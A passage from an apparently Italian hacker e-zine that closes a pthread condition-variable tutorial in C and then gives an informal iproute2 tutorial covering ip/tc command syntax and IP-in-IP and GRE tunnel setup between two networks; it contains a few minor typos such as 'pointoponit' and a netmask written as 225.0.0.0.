4.2.5 Un (BRUTTO) esempio di uso delle ``condition''

Purtroppo pecco un po' in fantasia nel codare gli esempi :(

Nel prossimo esempio vedremo come utilizzare le ``condition''. Il
programma e' composto da 2 thread oltre al processo principale;
il programma principale crea i 2 thread e poi attende un tasto,
a seconda del tasto premuto segnalera' la condizione ad 1, a tutti,
o a nessun thread.

I thread da parte loro, invece, entrano in un ciclo infinito in cui
attendono la segnalazione e, a segnalazione avvenuta, incrementano
una variabile (var1 per il primo thread e var2 per il secondo).

Esempio n. 3 :

1: #include <stdio.h>
2: #include <pthread.h>
3:
4: void* thrd_function1(void* arg);
5: void* thrd_function2(void* arg);
6:
7: pthread_cond_t condition = PTHREAD_COND_INITIALIZER;
8: pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
9:
10: int var1=0, var2=0;
11:
12: int main() {
13: char k=20;
14: pthread_t thrd1, thrd2;
15:
16: pthread_create(&thrd1, NULL, &thrd_function1, NULL);
17: pthread_create(&thrd2, NULL, &thrd_function2, NULL);
18:
19: while(1) {
20: printf("Il valore 1 = %d\nIl valore 2 = %d\n\n", var1, var2);
21: k = getchar();
22: fgetc(stdin);
23: pthread_mutex_lock(&mutex);
24: if(k=='2') {
25: pthread_cond_broadcast(&condition);
26: }
27: else if(k=='1') {
28: pthread_cond_signal(&condition);
29: }
30: pthread_mutex_unlock(&mutex);
31: sleep(1);
32: }
33: return 0;
34: }
35:
36: void* thrd_function1(void* arg) {
37: int i;
38: while(1) {
39: pthread_mutex_lock(&mutex);
40: pthread_cond_wait(&condition, &mutex);
41:
42: var1++;
43:
44: pthread_mutex_unlock(&mutex);
45: }
46: }
47:
48: void* thrd_function2(void* arg) {
49: int i;
50: while(1) {
51: pthread_mutex_lock(&mutex);
52: pthread_cond_wait(&condition, &mutex);
52:
53: var2++;
54:
55: pthread_mutex_unlock(&mutex);
56: }
57:
58: pthread_exit(0);
59: }

Alle righe 7 e 8 dichiariamo ed inizializziamo una ``condition''
e un ``mutex'' (di tipo fast) mediante l'inizializzazione statica.

Alle righe 16 e 17 creamo i due thread assegnandoli le rispettive
funzioni.

Alle riga 19 il programma principale entra in un ciclo infinito.

Alla riga 21 leggiamo un tasto : se il tasto letto e' '1' segnaliamo
la condizione ad un solo thread (riga 28), se e' '2' la segnaliamo
a tutti i thread in attesa (riga 25) altrimenti non fa niente :)

Alla riga 31 attendiamo un secondo per dare il tempo ai thread di
aggiornare le variabili. (avremmo anche potuto usare due altri mutex
per proteggere le due variabili :).

Alla riga 40 e 52 il thread si mette in attesa della condizione ``condition''.

L'esempio e' semplice (e stupido anche) ma rende piu' o meno l'idea
di come si utilizzino le ``condition''. Non prendetelo come esempio
di programmazione pero'!!! :P

5 BIBLIOGRAFIA

1. Getting Started With POSIX Threads ( Tom Wagner / Don Towsley - Department
of Computer Science, University of Mussachusetts At Amherst) http://dis.cs.umass.edu/~wagner/thread_html/index.html
- ftp://dis.cs.umass.edu/pub/pthreads.ps.Z

2. Progettazione e sviluppo dei Sistemi Operativi ( Andrew S. Tanenbaum )

3. man pages di Linux ( Xavier Leroy - man ``nomefunzione'' :)

4. header files della libreria ( /usr/include :)))

6 THANX

Ringrazio tutte le persone a cui per un motivo o per l'altro devo qualcosa :

(R)ipLey (perche' mi sta sempre vicino :), netZus6, Icia (perche'
gli voglio bene :), buendia, ^C, fus4, \x80, CyRaX, recidjvo, CapoTribu,
GalloCedrone, St4nkoM4n, SpunZale, Neural_Noise.

Vorrei inoltre salutare in modo speciale :

meti

che ho ``conosciuto'' su #linux-it e mi ha gentilmente bannato per
avergli chiesto se sapesse dell'esistenza di un pacchetto per linux
simile al SocksCap per Windows... adesso lo so... non grazie a te
comunque (e sopratutto non hai nessun diritto di chiamarmi lamer
):| ).

Niente rancore da perte mia, xo' potrebbero essere un po' piu' gentili
su #linux-it visto l'enorme aumento che l'utenza linux sta subendo
in questo periodo. Se non possono trovare aiuto su ``#linux-it''
dove andranno i nostri piccoli linuxNewbies italiani a chiedere
delucidazioni?

Dovremmo aiutarci fra di noi invece di metterci reciprocamente i bastoni
fra le ruote!!! Altrimenti a cosa serve l'openSource? me lo spiegate?



Iproute2 La Vendetta! 1° Parte

Pace fratelli!

Miiiii direte, ma allora elvis non è morto!;DDD Ebbene si!:D Sono ancora vivo!
Questo che leggete è il mio primo articolo per Newbies, se mai riuscirò a finirlo, per
cui non è un gran chè. In sostanza si tratta di ripp..ehmm...traduzioni di how to e simili
con un bel riassemblaggio allegro del tutto. Alcune frasi sono prive di senso per colpa
del passaggio di idioma ;DDD. In questa prima parte troverete una introduzione a
Iproute2 in cui non si capisce niente...o forse si; poi c'è la sintassi di tutti i
comandi o quasi e poi un po' di esempi e utilizzi dei vari tool.
Nelle prossime puntate spieg/ripp/traburrò la spiegazione di tutti i comandi e metterò
un bel po' di roba sul queueing e su quello che mi chiederete, purchè abbia attinenza
con questi argomenti;D (NON mandate mail del tipo "...ti prego, voglio delle password
di siti porno!! Ne ho bisogno!..."
:DD perché non risponderò, e poi oltretutto questo
argomento è stato trattato in senso lato su questi schermi con l'articolo su come
hackarne uno di sito pornoz;DDD...).

Buona lettura...


1 - Introduzione


1.1 - Perché iproute2

Le maggiori distribuzioni Linux e UNIX correntemente usano gli oramai storici e venerabili
comandi 'arp', 'ifconfig' e 'route' per la gestione del routing, che però non consentono
più di sfruttare tutte le possibilità del Kernel linux. Ad esempio, i tunnel GRE sono una
parte integrante di quello che è il routing, ma richiedono tools completamente differenti.
Con iproute2, i tunnels sono una parte integrante del set di tools (iproute2 È un insieme
di tools e programmilli vari;DD).

I kernel 2.2 e superiori includono un sottosistema di rete completamente ridisegnato
dalle precedenti versioni.
Questo nuovo codice di networking da a Linux un set di performance e possibilità senza
appesantire il sistema operativo. Il nuovo routing filtering inoltre mette a disposizione
più flessibilità e potenza che quella che si ha a disposizione con routers dedicati,
firewalls e software di pianificazione del traffico.

Linux ha un sistema sofisticato di assegnazione di banda chiamato Traffic Control.
Questo sistema supporta vari metodi per classificare, limitare, dividere e dare una
priorità sia al traffico in arrivo che a quello in uscita.

Iniziamo con una panoramica sulle possibilità di Iproute2 per poi passare ad esempi
e possibili implementazioni. Articoli avanzati saranno inseriti nelle prossime "puntate";D.


1.2 - Installazione

Per prima cosa scaricate iproute2 da uno dei seguenti ftp:

ftp://ftp.nc.ras.ru/pub/mirrors/ftp.inr.ac.ru/ip-routing/

ftp://ftp.sunet.se/pub/Linux/ip-routing/

Una volta finito il downloading, scompattate l'archivio con il comando
tar xzvf iproute-current.tar.gz. Entrate nella dir appena creata. Se necessario editate
Makefile inserendo al suo interno i file include del kernel mediante la variabile
KERNEL_INCLUDES e inserendo istruzioni riguardo librerie o simili. Un semplice
"make all" compila i programmi ip/ip, ip/rtmon e tc/tc. Copiate questi eseguibili
nella cartella /sbin e siete pronti per iniziare.

La maggior parte delle possibilità che ip e tc sfruttano del kernel Linux non sono
probabilmente incluse nel vostro kernel attuale, quindi ricordatevi di includere i
giusti moduli.



2 - Ma quanti comandi c'ha?


2.1 - Sintassi dei comandi

2.1.1 - Comando "ip"
Dal file iproute2/ip/ip.c

Sintassi: ip [ OPTIONS ] OBJECT { COMMAND | help }

OBJECT := { link | addr | route | rule | neigh | tunnel |maddr | mroute | monitor }

OPTIONS := { -V[ersion] | -s[tatistics] | -r[esolve] | -f[amily] { inet | inet6 | dnet | link } | -o[neline] }

Se è avviato come "ipaddr", "iproute", "iprule", "ipneigh", "iplink", "iptunnel" o "ipmonitor", ip avvia gli appropriati sottocomandi.


Sottocomando "ip link"
Dal file iproute2/ip/iplink.c

Sintassi: ip link set DEVICE { up | down | arp { on | off }

dynamic { on | off }|

multicast { on | off } | txqueuelen PACKETS |

name NEWNAME |

address LLADDR | broadcast LLADDR | mtu MTU }

ip link show [ DEVICE ]


Sottocomando "ip address"
Dal file iproute2/ip/ipaddress.c

Sintassi: ip addr {add|del} IFADDR dev STRING

ip addr {show|flush} [ dev STRING ] [ scope SCOPE-ID ]
[ to PREFIX ] [ FLAG-LIST ] [ label PATTERN ]

IFADDR := PREFIX | ADDR peer PREFIX
[ broadcast ADDR ] [ anycast ADDR ]
[ label STRING ] [ scope SCOPE-ID ]

SCOPE-ID := [ host | link | global | NUMBER ]

FLAG-LIST := [ FLAG-LIST ] FLAG

FLAG := [ permanent | dynamic | secondary | primary |
tentative | deprecated ]


Sottocomando "ip neighbor"
Dal file iproute2/ip/ipneigh.c

Sintassi: ip neigh { add | del | change | replace }
{ ADDR [ lladdr LLADDR ][ nud { permanent | noarp | stale | reachable } ] | proxy ADDR } [ dev DEV ]

ip neigh {show|flush} [ to PREFIX ] [ dev DEV ] [ nud STATE ]



Sottocomando "ip rule"
Dal file iproute2/ip/iprule.c

Sintassi: ip rule [ list | add | del ] SELECTOR ACTION

SELECTOR := [ from PREFIX ] [ to PREFIX ] [ tos TOS ] [ fwmark FWMARK ]
[ dev STRING ] [ pref NUMBER ]

ACTION := [ table TABLE_ID ] [ nat ADDRESS ]
[ prohibit | reject | unreachable ]
[ realms [SRCREALM/]DSTREALM ]

TABLE_ID := [ local | main | default | NUMBER ]


Sottocomando "ip route"
Dal file iproute2/ip/iproute.c

Sintassi: ip route { list | flush } SELECTOR

ip route get ADDRESS [ from ADDRESS iif STRING ]
[ oif STRING ] [ tos TOS ]
ip route { add | del | replace | change | append | replace | monitor } ROUTE

SELECTOR := [ root PREFIX ] [ match PREFIX ] [ exact PREFIX ]
[ table TABLE_ID ] [ proto RTPROTO ]
[ type TYPE ] [ scope SCOPE ]

ROUTE := NODE_SPEC [ INFO_SPEC ]

NODE_SPEC := [ TYPE ] PREFIX [ tos TOS ]
[ table TABLE_ID ] [ proto RTPROTO ]
[ scope SCOPE ] [ metric METRIC ]

INFO_SPEC := NH OPTIONS FLAGS [ nexthop NH ]...

NH := [ via ADDRESS ] [ dev STRING ] [ weight NUMBER ] NHFLAGS

OPTIONS := FLAGS [ mtu NUMBER ] [ advmss NUMBER ]
[ rtt NUMBER ] [ rttvar NUMBER ]
[ window NUMBER] [ cwnd NUMBER ] [ ssthresh REALM ]
[ realms REALM ]

TYPE := [ unicast | local | broadcast | multicast | throw |
unreachable | prohibit | blackhole | nat ]

TABLE_ID := [ local | main | default | all | NUMBER ]

SCOPE := [ host | link | global | NUMBER ]

FLAGS := [ equalize ]

NHFLAGS := [ onlink | pervasive ]

RTPROTO := [ kernel | boot | static | NUMBER ]


Sottocomando "ip tunnel"

Dal file iproute2/ip/iptunnel.c

Sintassi: ip tunnel { add | change | del | show } [ NAME ]
[ mode { ipip | gre | sit } ] [ remote ADDR ] [ local ADDR ]
[ [i|o]seq ] [ [i|o]key KEY ] [ [i|o]csum ]
[ ttl TTL ] [ tos TOS ] [ [no]pmtudisc ] [ dev PHYS_DEV ]

Dove: NAME := STRING
ADDR := { IP_ADDRESS | any }
TOS := { NUMBER | inherit }
TTL := { 1..255 | inherit }
KEY := { DOTTED_QUAD | NUMBER }

Sottocomando "ip maddress"
Dal file iproute2/ip/ipmaddr.c

Sintassi: ip maddr [ add | del ] MULTIADDR dev STRING

ip maddr show [ dev STRING ]

Sottocomando "ip mroute"
Dal file iproute2/ip/ipmroute.c

Sintassi: ip mroute show [ PREFIX ] [ from PREFIX ] [ iif DEVICE ]


Sottocomando "ip monitor"
Dal file iproute2/ip/ipmonitor.c

Sintassi: ip monitor [ all | LISTofOBJECTS ]

2.1.2 - Comando "rtmon"
Dal file iproute2/ip/rtmon.c

Sintassi: rtmon file FILE [ all | LISTofOBJECTS]

LISTofOBJECTS := [ link ] [ address ] [ route ]


2.1.3 - Comando "tc"
Dal file iproute2/tc/tc.c

Sintassi: tc [ OPTIONS ] OBJECT { COMMAND | help }

Dove: OBJECT := { qdisc | class | filter }
OPTIONS := { -s[tatistics] | -d[etails] | -r[aw] }


Sottocomando "qdisc"
Dal file iproute2/tc/tc_qdisc.c

Sintassi: tc qdisc [ add | del | replace | change | get ] dev STRING
[ handle QHANDLE ] [ root | ingress | parent CLASSID ]
[ estimator INTERVAL TIME_CONSTANT ]
[ [ QDISC_KIND ] [ help | OPTIONS ] ]

tc qdisc show [ dev STRING ] [ingress]

Dove: QDISC_KIND := { [p|b]fifo | tbf | prio | cbq | red | etc. }

OPTIONS := ... try tc qdisc add <desired QDISC_KIND> help


Sottocomando "qdisc [p|b]fifo"
Dal file iproute2/tc/q_fifo.c

Sintassi: ... [p|b]fifo [ limit NUMBER ]

Sottocomando "qdisc tbf"
Dal file iproute2/tc/

Sintassi: ... tbf limit BYTES burst BYTES[/BYTES] rate KBPS [ mtu BYTES[/BYTES] ] [ peakrate KBPS ] [ latency TIME ]

Sottocomando "qdisc cbq"
Dal file iproute2/tc/q_cbq.c

Sintassi: ... cbq bandwidth BPS avpkt BYTES [ mpu BYTES ]
[ cell BYTES ] [ ewma LOG ]

Sottocomando "qdisc red"
Dal file iproute2/tc/q_red.c


Sintassi: ... red limit BYTES min BYTES max BYTES avpkt BYTES burst PACKETS
probability PROBABILITY bandwidth KBPS

Vedi l'algoritmo...

Sottocomando "qdisc sfq"
Dal file iproute2/tc/q_sfq.c


Sintassi: ... sfq [ perturb SECS ] [ quantum BYTES ]

Sottocomando "qdisc prio"
Dal file iproute2/tc/q_prio.c
Sintassi: ... prio bands NUMBER priomap P1 P2...

Dal file linux/net/sched/sch_prio.c
* net/sched/sch_prio.c Simple 3-band priority "scheduler".


Sottocomando "class"
Dal file iproute2/tc/tc_class.c

Sintassi: tc class [ add | del | change | get ] dev STRING
[ classid CLASSID ] [ root | parent CLASSID ]
[ [ QDISC_KIND ] [ help | OPTIONS ] ]

tc class show [ dev STRING ] [ root | parent CLASSID ]

Dove: QDISC_KIND := { prio | cbq | etc. }
OPTIONS := ... try tc class add <desired QDISC_KIND> help


Sottocomando "class cbq"
Dal file iproute2/tc/q_cbq.c
Sintassi: ... cbq bandwidth BPS rate BPS maxburst PKTS [ avpkt BYTES ]
[ minburst PKTS ] [ bounded ] [ isolated ]
[ allot BYTES ] [ mpu BYTES ] [ weight RATE ]
[ prio NUMBER ] [ cell BYTES ] [ ewma LOG ]
[ estimator INTERVAL TIME_CONSTANT ]
[ split CLASSID ] [ defmap MASK/CHANGE ]


Sottocomando "estimator"

Dal file iproute2/tc/m_estimator.c

Sintassi: ... estimator INTERVAL TIME-CONST
INTERVAL is interval between measurements
TIME-CONST is averaging time constant
Esempio: ... est 1sec 8sec\

filter
Dal file iproute2/tc/tc_filter.c

Sintassi: tc filter [ add | del | change | get ] dev STRING
[ pref PRIO ] [ protocol PROTO ]
[ estimator INTERVAL TIME_CONSTANT ]
[ root | classid CLASSID ] [ handle FILTERID ]
[ [ FILTER_TYPE ] [ help | OPTIONS ] ]

tc filter show [ dev STRING ] [ root | parent CLASSID ]

Dove: FILTER_TYPE := { rsvp | u32 | fw | route | etc. }
FILTERID := ... format depends on classifier, see there
OPTIONS := ... try tc filter add <desired FILTER_KIND> help

Sottocomando "filter rsvp"
Dal file iproute2/tc/f_rsvp.c

Sintassi: ... rsvp ipproto PROTOCOL session DST[/PORT | GPI ]
[ sender SRC[/PORT | GPI ]
[ classid CLASSID ] [ police POLICE_SPEC ]
[ tunnelid ID ] [ tunnel ID skip NUMBER ]

Dove: GPI := { flowlabel NUMBER | spi/ah SPI | spi/esp SPI |
u{8|16|32} NUMBER mask MASK at OFFSET}

POLICE_SPEC := ... look at TBF

FILTERID := X:Y

Sottocomando "filter u32"
Dal file iproute2/tc/f_u32.c

Sintassi: ... u32 [ match SELECTOR ... ] [ link HTID ] [ classid CLASSID ]
[ police POLICE_SPEC ] [ offset OFFSET_SPEC ]
[ ht HTID ] [ hashkey HASHKEY_SPEC ]
[ sample SAMPLE ]

o u32 divisor DIVISOR

Dove: SELECTOR := SAMPLE SAMPLE ...
SAMPLE := { ip | ip6 | udp | tcp | icmp | u{32|16|8} } SAMPLE_ARGS
FILTERID := X:Y:Z


Sottocomando "filter fw"
Dal file iproute2/tc/f_fw.c
Sintassi: ... fw [ classid CLASSID ] [ police POLICE_SPEC ]

POLICE_SPEC := ... look at TBF

CLASSID := X:Y

Dal file linux/net/sched/cls_fw.c
* net/sched/cls_fw.c Classifier mapping ipchains' fwmark to traffic class.


Sottocomando "filter route"
Dal file iproute2/tc/f_route.c
Sintassi: ... route [ from REALM | fromif TAG ] [ to REALM ]
[ flowid CLASSID ] [ police POLICE_SPEC ]

POLICE_SPEC := ... look at TBF

CLASSID := X:Y\n


Sottocomando "police"
Dal file iproute2/tc/m_police.c

Sintassi: ... police rate BPS burst BYTES[/BYTES] [ mtu BYTES[/BYTES] ]
[ peakrate BPS ] [ avrate BPS ]
[ ACTION ]

Dove: ACTION := reclassify | drop | continue



3 - Iniziamo a smanettare


3.1 - Esplorare la configurazione corrente


Dopo l'installazione Iproute2 è già configurato.
I comandi correnti ifconfig e route usano già alcune chiamate al sistema avanzate,
ma la maggior parte in modo limitato o con settings di default.

-Il tool principale della "raccolta" iproute2 è 'ip'. Vediamo come vedere le connessioni
in un esempio del router NAT a casa mia.

[elvis@memphis]$ ip link list
1: lo: <LOOPBACK,UP> mtu 3924 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: dummy: <BROADCAST,NOARP> mtu 1500 qdisc noop
link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
3: eth0: <BROADCAST,MULTICAST,PROMISC,UP> mtu 1400 qdisc pfifo_fast qlen 100
link/ether 48:54:e8:2a:47:16 brd ff:ff:ff:ff:ff:ff
4: eth1: <BROADCAST,MULTICAST,PROMISC,UP> mtu 1500 qdisc pfifo_fast qlen 100
link/ether 00:e0:4c:39:24:78 brd ff:ff:ff:ff:ff:ff
3764: ppp0: <POINTOPOINT,MULTICAST,NOARP,UP> mtu 1492 qdisc pfifo_fast qlen 10
link/ppp

Per prima cosa vediamo i settaggi dell'interfaccia di loopback. L'mtu (maximum transfer unit)
è settato a 3924 otteti, e non è abilitato il codaggio.
Il kernel finge la presenza di un altra interfaccia locale per poterla configurare.

L'interfaccia dummy la salto per ora, perché potrebbe non essere presente nel vostro
computer.

Poi ci sono le mie due interfaccie di rete, una dal lato del mio modem, l'altra al
segmento della rete ethernet. Per ultimo noi vediamo una interfaccia ppp0.

Notare l'assenza degli indirizzi IP. Iproute divide il concetto di 'connessioni' e
'indirizzi IP'.
Il concetto degli indirizzi IP, con l'IP aliasing, è diventato un po' superfluo.


-Il tool può mostrare la situazione degli indirizzi MAC, con l'ID hardware delle
nostre interfacce ethernet.

[ahu@home ahu]$ ip address show
1: lo: <LOOPBACK,UP> mtu 3924 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 brd 127.255.255.255 scope host lo
2: dummy: <BROADCAST,NOARP> mtu 1500 qdisc noop
link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
3: eth0: <BROADCAST,MULTICAST,PROMISC,UP> mtu 1400 qdisc pfifo_fast qlen 100
link/ether 48:54:e8:2a:47:16 brd ff:ff:ff:ff:ff:ff
inet 10.0.0.1/8 brd 10.255.255.255 scope global eth0
4: eth1: <BROADCAST,MULTICAST,PROMISC,UP> mtu 1500 qdisc pfifo_fast qlen 100
link/ether 00:e0:4c:39:24:78 brd ff:ff:ff:ff:ff:ff
3764: ppp0: <POINTOPOINT,MULTICAST,NOARP,UP> mtu 1492 qdisc pfifo_fast qlen 10
link/ppp
inet 212.64.94.251 peer 212.64.94.1/32 scope global ppp0

Le informazioni visualizzate sono molte:
il tool mostra tutti i nostri indirizzi e a quale scheda corrispondono; 'inet' sta per Internet. Ci sono molte altre famiglie di indirizzi, ma questo non ci interessa per ora.

Esaminiamo eth0. Ip dice che è in relazione all'indirizzo inet '10.0.0.1/8'. Che
vuol dire? L''/8' sta per il numero di bit che sono nell'indirizzo di rete. Solitamente
ci sono 32 bits, così rimangono ancora 24 bits che sono parte della nostra rete.
I primi 8 bits di '10.0.0.1' corrispondono a 10.0.0.0 (cioè un indirizzo di
classe A credo ;D. se non sapete un cavolo sulle maschere di rete & related cercate
di impararvi qualcosa perché mi sa che questo tipo che ha scritto l'articolo in
versione inglese non ha un buon rapporto con il sui idioma e col suo cervello,
o forse sono io..;DD), il nostro indirizzo di rete e la nostra maschera di rete
(netmask) che è 225.0.0.0 .

Gli altri bits sono connessi a questa interfaccia, così 10.250.3.13 è direttamente
disponibile con eth0, com'è 10.0.0.1 per esempio.

Con ppp0, lo stesso concetto funziona, ma i numeri sono differenti (ebbè ;DD). Se
hai problemi guarda l'inizio di questo howto (non c'è l'ho tolto perché era da idioti
giuro). Il suo indirizzo è 212.64.94.251 senza una maschera di rete, cioè abbiamo una
connessione punto a punto e tutti questi indirizzi, ad eccezione di 212.64.94.1, sono
remoti. Il '/32' dice che non ci sono 'network bits'.

Ha, potreste aver notato qdisc, che sta per Queuering Discipline (disciplina o
meglio metodo di codaggio credo ;DD), e diventerà vitale in seguito. [QUESTO ARGOMENTO,
il queueing, lo tratterò/tradurrò/ripperò ;D in seguito...]

- Bene, noi ora sappiamo come trovare gli indirizzi 10.x.x.x, e possiamo contattare
212.64.94.1. Questo non è comunque tutto, infatti abbiamo bisogno di istruzioni su
come contattare il mondo. Internet è disponibile attraverso la nostra connessione
ppp, e sembra che questo 212.64.94.1 distribuirà i nostri pacchetti per il mondo,
con i risultati delle spedizioni di ritorno a noi.

[elvis@memphis]$ ip route show
212.64.94.1 dev ppp0 proto kernel scope link src 212.64.94.251
10.0.0.0/8 dev eth0 proto kernel scope link src 10.0.0.1
127.0.0.0/8 dev lo scope link
default via 212.64.94.1 dev ppp0

Questo comando mostra brevemente lo stato delle connessioni. Le prime 3 linee
di output mostrano lo stato di quello che era implementato con un indirizzo ip,
l'ultima linea ci dice che il resto del mondo può essere trovato a 212.64.94.1.

Per fare un confronto, questo è quello che avrebbe mostrato la vecchia
utility 'route':

[elvis@memphis]$ route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use
Iface
212.64.94.1 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0
10.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 eth0
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
0.0.0.0 212.64.94.1 0.0.0.0 UG 0 0 0 ppp0




4 - Tunnels


4.1 - GRE e gli altri tunnels

Ci sono tre tipologie di tunnels disponibili sotto Linux:

tunnellizzazioni IP a IP;
Tunnelling GRE;
Tunnels esterni al kernel (per esempio PPP o PPTP).


4.2 - Qualcosa in generale sui tunnels

I tunnels possono essere utilizzati sia per cose inusuali che per cose 'very cool', ma,
se non configurati correttamente, sono fonte sicura di guai ed errori. Per cui NON
puntare il tuo route di default a una periferica tunnel senza sapere -esattamente- cosa
tu stia facendo :). Inoltre, le tunnellizzazioni aumentano la grandezza degli headers,
perché hanno bisogno di opzioni extra nel set di un IP header. Tipicamente queste opzioni
extra sono 20 byte per pacchetto così, se l'MTU (vedi un po' più indietro) di una rete è
1500 bytes, un pacchetto mandato attraverso un tunnel può essere grande al massimo 1480
bytes. Questo non è necessariamente un problema, ma accertati di conoscere la
frammentazione/riassemblamento dei pacchetti IP se progetti di connettere grandi reti
con i tunnels. La via più veloce per fare un tunnel è farlo da tutte due le parti
(continuo a sostenere la mia tesi;))).


4.3 - Tunnellizzazioni IP a IP

Questo tipo di tunnel è stato disponibile sotto Linux per molto tempo; richiede 2 moduli
del kernel, ipip.o e new_tunnel.o (make menuconfig > selezionate IP tunneling > salvate
la configurazione > make modules > make modules_install).

Okkeio, diciamo di avere 3 reti: rete interna A e B e rete intermedia C (vedi: Internet)
Vediamo la rete A:
network 10.0.1.0
netmask 255.255.255.0
router 10.0.1.1
Il router ha indirizzo 172.16.17.18 sotto la rete C.

E la rete B:
network 10.0.2.0
netmask 255.255.255.0
router 10.0.2.1
Il router ha indirizzo 172.19.20.21 sotto la rete C.

Quanto lontana sia implicata la rete C, la useremo per passare qualsiasi pacchetto
da A a B e vice versa. Per questo compito è possibile sfruttare Internet.

Ecco quello che c'è da fare:

Per prima cosa controllare se i moduli sopra citati sono installati con i seguenti comandi:

<elvis@pelvis>insmod ipip.o; insmod new_tunnel.o

Ora, sul router sulla rete A, fai quanto segue:

<elvis@memphis>ifconfig tun10 10.0.1.1 pointoponit 172.19.20.21

<elvis@pelvis>route add -net 10.0.2.0 netmask 255.255.255.0 dev tun10

E nel router sulla rete B:

<elvis@memphis>ifconfig tun10 10.0.2.1 pointoponit 172.16.17.18

<elvis@pelvis>route add -net 10.0.1.0 netmask 255.255.255.0 dev tun10

E infine:

<elvis@memphis>ifconfig tun10 down

Ora la tua rete è pronta. Ricorda che tramite un tunnel IP a IP non puoi gestire
un indirizzo di broadcast o gestire traffico IPv6; puoi connettere 2 reti IPv4 che
normalmente non possono comunicare con tutti gli altri host. Il tunneling Linux IP a
IP non può lavorare con altri sistemi operativi o routers. È semplice e funziona.
Usalo se ti serve (sostengo ancora di più la medesima tesi), altrimenti usa
tunnellizazioni GRE.


4.4 - Tunnellizazioni GRE

Il protocollo di tunnellizzazione GRE fu originariamente sviluppato da Cisco, e puo'
fare molto meglio delle tunnellizzazioni IP a IP. Per esempio, puoi trasportare sia
traffico multicast e IPv6 attraverso un tunnel GRE.
In Linux, per implementare le funzioni necessarie ai tunnels GRE, è necessario il modulo
del kernel ip_gre.


- Tunnellizazioni Ipv4

Proviamo a metter su un tunnel IPv4.

Diciamo di avere le solite 3 reti:

Vediamo la rete A:
network 10.0.1.0
netmask 255.255.255.0
router 10.0.1.1
Il router ha indirizzo 172.16.17.18 sotto la rete C. Chiameremo questa rete neta.

E la rete B:
network 10.0.2.0
netmask 255.255.255.0
router 10.0.2.1
Il router ha indirizzo 172.19.20.21 sotto la rete C. Questa invece, molto originalmente,
netb.

Quindi diciamo, come per il tunnel IP to IP, di usare C per passare i pacchetti tra
A e B, e che questa rete può essere internet.

Sul router della rete A facciamo così:

ip tunnel add netb mode gre remote 172.19.20.21 local 172.16.17.18 ttl 255

ip addr add 10.0.1.1 dev netb

ip route add 10.0.2.0/24 dev netb

Ora discutiamo un po' su quello che abbiamo scritto. Nella linea 1 abbiamo aggiunto
una periferica di tunnel, e l'abbiamo chiamata netb. Poi, sempre sulla riga 1, gli
abbiamo detto di usare il protocollo GRE ('mode gre'), che l'indirizzo remoto da raggiungere
è 172.19.20.21 (il router e tutto il resto), che i nostri pacchetti tunnellizzati saranno
originati da 172.16.17.18 (questo abilita il tuo router ad avere diversi indirizzi IP
sulla rete C e a lasciarti decidere quale usare per il tunnel) e infine la vita dei pacchetti
settata a 255 hop (ttl 255).
Nella seconda linea diamo alla appena nata interfaccia l'indirizzo 10.0.1.1. Questo
può andare per piccole reti, ma quando i tunnels aumenteranno, tu potresti considerare di
usare un altro range di IP per le interfaccie di tunnelind (per esempio puoi usare 10.0.3.0).
Nella terza ed ultima linea settiamo il percorso (route) per la rete B. Notare la
notazione differente della maschera di rete. Se non avete familiarità con questa
notazione, ecco come lavora: scrivete la maschera di rete in forma binaria, e contate
tutti gli uno. Se non sapete come farlo, ricordate che 255.0.0.0 è /8, 255.255.0.0 è
/16, 255.255.255.0 è /24 e 255.255.254.0 è /23, in caso voi siate meravigliati.
Andiamo ora a smanettare sul router della rete B.

ip tunnel add neta mode gre remote 172.16.17.18 local 172.19.20.21 ttl 255

ip addr add 10.0.2.1 dev neta

ip route add 10.0.1.0/24 dev neta

Ecco fatta una tunnellizazione mediante protocollo GRE.

Quando volete rimuovere il tunnel dal router della rete A:

ip link set netb down

ip tunnel del netb

Per logica, sul router della rete B, sostituite a netb neta.

Fine.

[-ElViS-]

Per errori, richieste, domande, commenti, congratulazioni, insulti, regali e venerazioni
varie;DD potete mandare una mail a srg@shy.datawell.it.

Ho anche un sito...magari lo trovate interessante;DDD

http://utenti.shy.datawell.it/security/

Tanto lo so che saranno più insulti che altro...Ha, potete anche mandare richieste per
argomenti + o - inerenti a iproute2 da inserire nelle prossime puntate;D

Potete anche trovarmi su IRC canale #hnews e/o #ahccc di AzzurraNET - chat.jodler.net

Saluto tutti e tutto senza distinzione di sesso, età, razza, religione e Sistema
Operativo (forse);DDD



/*Questo coso qua, seppur non troppo bellino, è dedicato al fratello N0bodY88...

Fratello, ovunque tu sia e dovunque tu vada ti prometto che ogni sera della mia
futura esistenza darò la buonanotte al tuo BNC ;DDDD*/



La pace è l'unica vittoria,

[-ElViS-]

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°°²
²°°°ÛÛ°°°°ÛÛ°°ÛÛ²²²²ÛÛ°°ÛÛ²²²²ÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛÛÛ°°ÛÛ°°ÛÛ°°°°°°°°°²
²°°°ÛÛ°°°°°°°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°°°°°°ÛÛÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°ÛÛ°°ÛÛ°°ÛÛÛÛ°°°²
